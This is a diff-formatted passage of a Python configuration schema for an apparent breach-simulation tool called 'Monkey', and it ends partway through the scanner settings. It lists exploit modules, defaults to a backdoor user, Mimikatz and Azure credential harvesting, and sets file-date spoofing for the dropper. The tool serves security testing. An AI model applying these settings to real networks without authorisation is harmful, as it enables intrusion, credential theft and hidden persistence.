ENCRYPTED_CONFIG_ARRAYS = \
|
||||||
|
|
|
@ -0,0 +1,900 @@
|
||||||
|
WARNING_SIGN = u" \u26A0"
|
||||||
|
|
||||||
|
SCHEMA = {
|
||||||
|
"title": "Monkey",
|
||||||
|
"type": "object",
|
||||||
|
"definitions": {
|
||||||
|
"exploiter_classes": {
|
||||||
|
"title": "Exploit class",
|
||||||
|
"type": "string",
|
||||||
|
"anyOf": [
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SmbExploiter"
|
||||||
|
],
|
||||||
|
"title": "SMB Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"WmiExploiter"
|
||||||
|
],
|
||||||
|
"title": "WMI Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"MSSQLExploiter"
|
||||||
|
],
|
||||||
|
"title": "MSSQL Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"RdpExploiter"
|
||||||
|
],
|
||||||
|
"title": "RDP Exploiter (UNSAFE)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"Ms08_067_Exploiter"
|
||||||
|
],
|
||||||
|
"title": "MS08-067 Exploiter (UNSAFE)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SSHExploiter"
|
||||||
|
],
|
||||||
|
"title": "SSH Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"ShellShockExploiter"
|
||||||
|
],
|
||||||
|
"title": "ShellShock Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SambaCryExploiter"
|
||||||
|
],
|
||||||
|
"title": "SambaCry Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"ElasticGroovyExploiter"
|
||||||
|
],
|
||||||
|
"title": "ElasticGroovy Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"Struts2Exploiter"
|
||||||
|
],
|
||||||
|
"title": "Struts2 Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"WebLogicExploiter"
|
||||||
|
],
|
||||||
|
"title": "Oracle Web Logic Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"HadoopExploiter"
|
||||||
|
],
|
||||||
|
"title": "Hadoop/Yarn Exploiter"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"post_breach_acts": {
|
||||||
|
"title": "Post breach actions",
|
||||||
|
"type": "string",
|
||||||
|
"anyOf": [
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"BackdoorUser"
|
||||||
|
],
|
||||||
|
"title": "Back door user",
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
"finger_classes": {
|
||||||
|
"title": "Fingerprint class",
|
||||||
|
"type": "string",
|
||||||
|
"anyOf": [
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SMBFinger"
|
||||||
|
],
|
||||||
|
"title": "SMBFinger"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SSHFinger"
|
||||||
|
],
|
||||||
|
"title": "SSHFinger"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"PingScanner"
|
||||||
|
],
|
||||||
|
"title": "PingScanner"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"HTTPFinger"
|
||||||
|
],
|
||||||
|
"title": "HTTPFinger"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"MySQLFinger"
|
||||||
|
],
|
||||||
|
"title": "MySQLFinger"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"MSSQLFinger"
|
||||||
|
],
|
||||||
|
"title": "MSSQLFinger"
|
||||||
|
},
|
||||||
|
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"ElasticFinger"
|
||||||
|
],
|
||||||
|
"title": "ElasticFinger"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"properties": {
|
||||||
|
"basic": {
|
||||||
|
"title": "Basic - Credentials",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"credentials": {
|
||||||
|
"title": "Credentials",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"exploit_user_list": {
|
||||||
|
"title": "Exploit user list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"Administrator",
|
||||||
|
"root",
|
||||||
|
"user"
|
||||||
|
],
|
||||||
|
"description": "List of usernames to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_password_list": {
|
||||||
|
"title": "Exploit password list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"Password1!",
|
||||||
|
"1234",
|
||||||
|
"password",
|
||||||
|
"12345678"
|
||||||
|
],
|
||||||
|
"description": "List of password to use on exploits using credentials"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"basic_network": {
|
||||||
|
"title": "Basic - Network",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"general": {
|
||||||
|
"title": "General",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"blocked_ips": {
|
||||||
|
"title": "Blocked IPs",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
],
|
||||||
|
"description": "List of IPs to not scan"
|
||||||
|
},
|
||||||
|
"local_network_scan": {
|
||||||
|
"title": "Local network scan",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether the monkey should scan its subnets additionally"
|
||||||
|
},
|
||||||
|
"depth": {
|
||||||
|
"title": "Distance from island",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 2,
|
||||||
|
"description":
|
||||||
|
"Amount of hops allowed for the monkey to spread from the island. "
|
||||||
|
+ WARNING_SIGN
|
||||||
|
+ " Note that setting this value too high may result in the monkey propagating too far"
|
||||||
|
},
|
||||||
|
"subnet_scan_list": {
|
||||||
|
"title": "Scan IP/subnet list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
],
|
||||||
|
"description":
|
||||||
|
"List of IPs/subnets the monkey should scan."
|
||||||
|
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"network_analysis": {
|
||||||
|
"title": "Network Analysis",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"inaccessible_subnets": {
|
||||||
|
"title": "Network segmentation testing",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
],
|
||||||
|
"description":
|
||||||
|
"Test for network segmentation by providing a list of"
|
||||||
|
" subnets that should NOT be accessible to each other."
|
||||||
|
" For example, given the following configuration:"
|
||||||
|
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
|
||||||
|
" a Monkey running on 10.0.0.5 will try to access machines in the following"
|
||||||
|
" subnets: 11.0.0.2/32, 12.2.3.0/24."
|
||||||
|
" An alert on successful connections will be shown in the report"
|
||||||
|
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"monkey": {
|
||||||
|
"title": "Monkey",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"general": {
|
||||||
|
"title": "General",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"alive": {
|
||||||
|
"title": "Alive",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Is the monkey alive"
|
||||||
|
},
|
||||||
|
"post_breach_actions": {
|
||||||
|
"title": "Post breach actions",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"$ref": "#/definitions/post_breach_acts"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"BackdoorUser",
|
||||||
|
],
|
||||||
|
"description": "List of actions the Monkey will run post breach"
|
||||||
|
},
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"behaviour": {
|
||||||
|
"title": "Behaviour",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"self_delete_in_cleanup": {
|
||||||
|
"title": "Self delete on cleanup",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": False,
|
||||||
|
"description": "Should the monkey delete its executable when going down"
|
||||||
|
},
|
||||||
|
"use_file_logging": {
|
||||||
|
"title": "Use file logging",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Should the monkey dump to a log file"
|
||||||
|
},
|
||||||
|
"serialize_config": {
|
||||||
|
"title": "Serialize config",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": False,
|
||||||
|
"description": "Should the monkey dump its config on startup"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"system_info": {
|
||||||
|
"title": "System info",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"extract_azure_creds": {
|
||||||
|
"title": "Harvest Azure Credentials",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description":
|
||||||
|
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||||
|
},
|
||||||
|
"collect_system_info": {
|
||||||
|
"title": "Collect system info",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether to collect system info"
|
||||||
|
},
|
||||||
|
"should_use_mimikatz": {
|
||||||
|
"title": "Should use Mimikatz",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether to use Mimikatz"
|
||||||
|
},
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"life_cycle": {
|
||||||
|
"title": "Life cycle",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"max_iterations": {
|
||||||
|
"title": "Max iterations",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 1,
|
||||||
|
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
|
||||||
|
},
|
||||||
|
"victims_max_find": {
|
||||||
|
"title": "Max victims to find",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 30,
|
||||||
|
"description": "Determines the maximum number of machines the monkey is allowed to scan"
|
||||||
|
},
|
||||||
|
"victims_max_exploit": {
|
||||||
|
"title": "Max victims to exploit",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 7,
|
||||||
|
"description":
|
||||||
|
"Determines the maximum number of machines the monkey"
|
||||||
|
" is allowed to successfully exploit. " + WARNING_SIGN
|
||||||
|
+ " Note that setting this value too high may result in the monkey propagating to "
|
||||||
|
"a high number of machines"
|
||||||
|
},
|
||||||
|
"timeout_between_iterations": {
|
||||||
|
"title": "Wait time between iterations",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 100,
|
||||||
|
"description":
|
||||||
|
"Determines for how long (in seconds) should the monkey wait between iterations"
|
||||||
|
},
|
||||||
|
"retry_failed_explotation": {
|
||||||
|
"title": "Retry failed exploitation",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description":
|
||||||
|
"Determines whether the monkey should retry exploiting machines"
|
||||||
|
" it didn't successfuly exploit on previous iterations"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"internal": {
|
||||||
|
"title": "Internal",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"general": {
|
||||||
|
"title": "General",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"singleton_mutex_name": {
|
||||||
|
"title": "Singleton mutex name",
|
||||||
|
"type": "string",
|
||||||
|
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||||
|
"description":
|
||||||
|
"The name of the mutex used to determine whether the monkey is already running"
|
||||||
|
},
|
||||||
|
"keep_tunnel_open_time": {
|
||||||
|
"title": "Keep tunnel open time",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 60,
|
||||||
|
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"classes": {
|
||||||
|
"title": "Classes",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"finger_classes": {
|
||||||
|
"title": "Fingerprint classes",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"$ref": "#/definitions/finger_classes"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"SMBFinger",
|
||||||
|
"SSHFinger",
|
||||||
|
"PingScanner",
|
||||||
|
"HTTPFinger",
|
||||||
|
"MySQLFinger",
|
||||||
|
"MSSQLFinger",
|
||||||
|
"ElasticFinger"
|
||||||
|
],
|
||||||
|
"description": "Determines which classes to use for fingerprinting"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"kill_file": {
|
||||||
|
"title": "Kill file",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"kill_file_path_windows": {
|
||||||
|
"title": "Kill file path on Windows",
|
||||||
|
"type": "string",
|
||||||
|
"default": "%windir%\\monkey.not",
|
||||||
|
"description": "Path of file which kills monkey if it exists (on Windows)"
|
||||||
|
},
|
||||||
|
"kill_file_path_linux": {
|
||||||
|
"title": "Kill file path on Linux",
|
||||||
|
"type": "string",
|
||||||
|
"default": "/var/run/monkey.not",
|
||||||
|
"description": "Path of file which kills monkey if it exists (on Linux)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"dropper": {
|
||||||
|
"title": "Dropper",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"dropper_set_date": {
|
||||||
|
"title": "Dropper sets date",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description":
|
||||||
|
"Determines whether the dropper should set the monkey's file date to be the same as"
|
||||||
|
" another file"
|
||||||
|
},
|
||||||
|
"dropper_date_reference_path_windows": {
|
||||||
|
"title": "Dropper date reference path (Windows)",
|
||||||
|
"type": "string",
|
||||||
|
"default": "%windir%\\system32\\kernel32.dll",
|
||||||
|
"description":
|
||||||
|
"Determines which file the dropper should copy the date from if it's configured to do"
|
||||||
|
" so on Windows (use fullpath)"
|
||||||
|
},
|
||||||
|
"dropper_date_reference_path_linux": {
|
||||||
|
"title": "Dropper date reference path (Linux)",
|
||||||
|
"type": "string",
|
||||||
|
"default": "/bin/sh",
|
||||||
|
"description":
|
||||||
|
"Determines which file the dropper should copy the date from if it's configured to do"
|
||||||
|
" so on Linux (use fullpath)"
|
||||||
|
},
|
||||||
|
"dropper_target_path_linux": {
|
||||||
|
"title": "Dropper target path on Linux",
|
||||||
|
"type": "string",
|
||||||
|
"default": "/tmp/monkey",
|
||||||
|
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
||||||
|
},
|
||||||
|
"dropper_target_path_win_32": {
|
||||||
|
"title": "Dropper target path on Windows (32bit)",
|
||||||
|
"type": "string",
|
||||||
|
"default": "C:\\Windows\\monkey32.exe",
|
||||||
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
|
"(32bit)"
|
||||||
|
},
|
||||||
|
"dropper_target_path_win_64": {
|
||||||
|
"title": "Dropper target path on Windows (64bit)",
|
||||||
|
"type": "string",
|
||||||
|
"default": "C:\\Windows\\monkey64.exe",
|
||||||
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
|
"(64 bit)"
|
||||||
|
},
|
||||||
|
"dropper_try_move_first": {
|
||||||
|
"title": "Try to move first",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description":
|
||||||
|
"Determines whether the dropper should try to move itsel instead of copying itself"
|
||||||
|
" to target path"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"logging": {
|
||||||
|
"title": "Logging",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"dropper_log_path_linux": {
|
||||||
|
"title": "Dropper log file path on Linux",
|
||||||
|
"type": "string",
|
||||||
|
"default": "/tmp/user-1562",
|
||||||
|
"description": "The fullpath of the dropper log file on Linux"
|
||||||
|
},
|
||||||
|
"dropper_log_path_windows": {
|
||||||
|
"title": "Dropper log file path on Windows",
|
||||||
|
"type": "string",
|
||||||
|
"default": "%temp%\\~df1562.tmp",
|
||||||
|
"description": "The fullpath of the dropper log file on Windows"
|
||||||
|
},
|
||||||
|
"monkey_log_path_linux": {
|
||||||
|
"title": "Monkey log file path on Linux",
|
||||||
|
"type": "string",
|
||||||
|
"default": "/tmp/user-1563",
|
||||||
|
"description": "The fullpath of the monkey log file on Linux"
|
||||||
|
},
|
||||||
|
"monkey_log_path_windows": {
|
||||||
|
"title": "Monkey log file path on Windows",
|
||||||
|
"type": "string",
|
||||||
|
"default": "%temp%\\~df1563.tmp",
|
||||||
|
"description": "The fullpath of the monkey log file on Windows"
|
||||||
|
},
|
||||||
|
"send_log_to_server": {
|
||||||
|
"title": "Send log to server",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether the monkey sends its log to the Monkey Island server"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"exploits": {
|
||||||
|
"title": "Exploits",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"exploit_lm_hash_list": {
|
||||||
|
"title": "Exploit LM hash list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [],
|
||||||
|
"description": "List of LM hashes to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_ntlm_hash_list": {
|
||||||
|
"title": "Exploit NTLM hash list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [],
|
||||||
|
"description": "List of NTLM hashes to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_ssh_keys": {
|
||||||
|
"title": "SSH key pairs list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"default": [],
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"cnc": {
|
||||||
|
"title": "Monkey Island",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"servers": {
|
||||||
|
"title": "Servers",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"command_servers": {
|
||||||
|
"title": "Command servers",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"192.0.2.0:5000"
|
||||||
|
],
|
||||||
|
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
|
||||||
|
},
|
||||||
|
"internet_services": {
|
||||||
|
"title": "Internet services",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"monkey.guardicore.com",
|
||||||
|
"www.google.com"
|
||||||
|
],
|
||||||
|
"description":
|
||||||
|
"List of internet services to try and communicate with to determine internet"
|
||||||
|
" connectivity (use either ip or domain)"
|
||||||
|
},
|
||||||
|
"current_server": {
|
||||||
|
"title": "Current server",
|
||||||
|
"type": "string",
|
||||||
|
"default": "192.0.2.0:5000",
|
||||||
|
"description": "The current command server the monkey is communicating with"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'aws_config': {
|
||||||
|
'title': 'AWS Configuration',
|
||||||
|
'type': 'object',
|
||||||
|
'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.',
|
||||||
|
'properties': {
|
||||||
|
'aws_account_id': {
|
||||||
|
'title': 'AWS account ID',
|
||||||
|
'type': 'string',
|
||||||
|
'description': 'Your AWS account ID that is subscribed to security hub feeds',
|
||||||
|
'default': ''
|
||||||
|
},
|
||||||
|
'aws_access_key_id': {
|
||||||
|
'title': 'AWS access key ID',
|
||||||
|
'type': 'string',
|
||||||
|
'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.',
|
||||||
|
'default': ''
|
||||||
|
},
|
||||||
|
'aws_secret_access_key': {
|
||||||
|
'title': 'AWS secret access key',
|
||||||
|
'type': 'string',
|
||||||
|
'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.',
|
||||||
|
'default': ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"exploits": {
|
||||||
|
"title": "Exploits",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"general": {
|
||||||
|
"title": "General",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"exploiter_classes": {
|
||||||
|
"title": "Exploits",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"$ref": "#/definitions/exploiter_classes"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"SmbExploiter",
|
||||||
|
"WmiExploiter",
|
||||||
|
"MSSQLExploiter",
|
||||||
|
"SSHExploiter",
|
||||||
|
"ShellShockExploiter",
|
||||||
|
"SambaCryExploiter",
|
||||||
|
"ElasticGroovyExploiter",
|
||||||
|
"Struts2Exploiter",
|
||||||
|
"WebLogicExploiter",
|
||||||
|
"HadoopExploiter"
|
||||||
|
],
|
||||||
|
"description":
|
||||||
|
"Determines which exploits to use. " + WARNING_SIGN
|
||||||
|
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
|
||||||
|
},
|
||||||
|
"skip_exploit_if_file_exist": {
|
||||||
|
"title": "Skip exploit if file exists",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": False,
|
||||||
|
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
|
||||||
|
" is already on the remote machine"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"ms08_067": {
|
||||||
|
"title": "MS08_067",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"ms08_067_exploit_attempts": {
|
||||||
|
"title": "MS08_067 exploit attempts",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 5,
|
||||||
|
"description": "Number of attempts to exploit using MS08_067"
|
||||||
|
},
|
||||||
|
"user_to_add": {
|
||||||
|
"title": "Remote user",
|
||||||
|
"type": "string",
|
||||||
|
"default": "Monkey_IUSER_SUPPORT",
|
||||||
|
"description": "Username to add on successful exploit"
|
||||||
|
},
|
||||||
|
"remote_user_pass": {
|
||||||
|
"title": "Remote user password",
|
||||||
|
"type": "string",
|
||||||
|
"default": "Password1!",
|
||||||
|
"description": "Password to use for created user"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"rdp_grinder": {
|
||||||
|
"title": "RDP grinder",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"rdp_use_vbs_download": {
|
||||||
|
"title": "Use VBS download",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
|
||||||
|
" (true=VBS, false=BITS)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"sambacry": {
|
||||||
|
"title": "SambaCry",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"sambacry_trigger_timeout": {
|
||||||
|
"title": "SambaCry trigger timeout",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 5,
|
||||||
|
"description": "Timeout (in seconds) of SambaCry trigger"
|
||||||
|
},
|
||||||
|
"sambacry_folder_paths_to_guess": {
|
||||||
|
"title": "SambaCry folder paths to guess",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
'/',
|
||||||
|
'/mnt',
|
||||||
|
'/tmp',
|
||||||
|
'/storage',
|
||||||
|
'/export',
|
||||||
|
'/share',
|
||||||
|
'/shares',
|
||||||
|
'/home'
|
||||||
|
],
|
||||||
|
"description": "List of full paths to share folder for SambaCry to guess"
|
||||||
|
},
|
||||||
|
"sambacry_shares_not_to_check": {
|
||||||
|
"title": "SambaCry shares not to check",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"IPC$", "print$"
|
||||||
|
],
|
||||||
|
"description": "These shares won't be checked when exploiting with SambaCry"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"smb_service": {
|
||||||
|
"title": "SMB service",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"smb_download_timeout": {
|
||||||
|
"title": "SMB download timeout",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 300,
|
||||||
|
"description":
|
||||||
|
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
|
||||||
|
},
|
||||||
|
"smb_service_name": {
|
||||||
|
"title": "SMB service name",
|
||||||
|
"type": "string",
|
||||||
|
"default": "InfectionMonkey",
|
||||||
|
"description": "Name of the SMB service that will be set up to download monkey"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"network": {
|
||||||
|
"title": "Network",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"tcp_scanner": {
|
||||||
|
"title": "TCP scanner",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"HTTP_PORTS": {
|
||||||
|
"title": "HTTP ports",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "integer"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
80,
|
||||||
|
8080,
|
||||||
|
443,
|
||||||
|
8008,
|
||||||
|
7001
|
||||||
|
],
|
||||||
|
"description": "List of ports the monkey will check if are being used for HTTP"
|
||||||
|
},
|
||||||
|
"tcp_target_ports": {
|
||||||
|
"title": "TCP target ports",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "integer"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
22,
|
||||||
|
2222,
|
||||||
|
445,
|
||||||
|
135,
|
||||||
|
3389,
|
||||||
|
80,
|
||||||
|
8080,
|
||||||
|
443,
|
||||||
|
8008,
|
||||||
|
3306,
|
||||||
|
9200,
|
||||||
|
7001
|
||||||
|
],
|
||||||
|
"description": "List of TCP ports the monkey will check whether they're open"
|
||||||
|
},
|
||||||
|
"tcp_scan_interval": {
|
||||||
|
"title": "TCP scan interval",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 0,
|
||||||
|
"description": "Time to sleep (in milliseconds) between scans"
|
||||||
|
},
|
||||||
|
"tcp_scan_timeout": {
|
||||||
|
"title": "TCP scan timeout",
|
||||||
|
"type": "integer",
|
||||||
|
"default": 3000,
|
||||||
|
"description": "Maximum time (in milliseconds) to wait for TCP response"
|
||||||
|
},
|
||||||
|
"tcp_scan_get_banner": {
|
||||||
|
"title": "TCP scan - get banner",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description": "Determines whether the TCP scan should try to get the banner"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"ping_scanner": {
|
||||||
|
"title": "Ping scanner",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"ping_scan_timeout": {
|
||||||
|
"title": "Ping scan timeout",
|
||||||
|
"type": "integer",
|
||||||
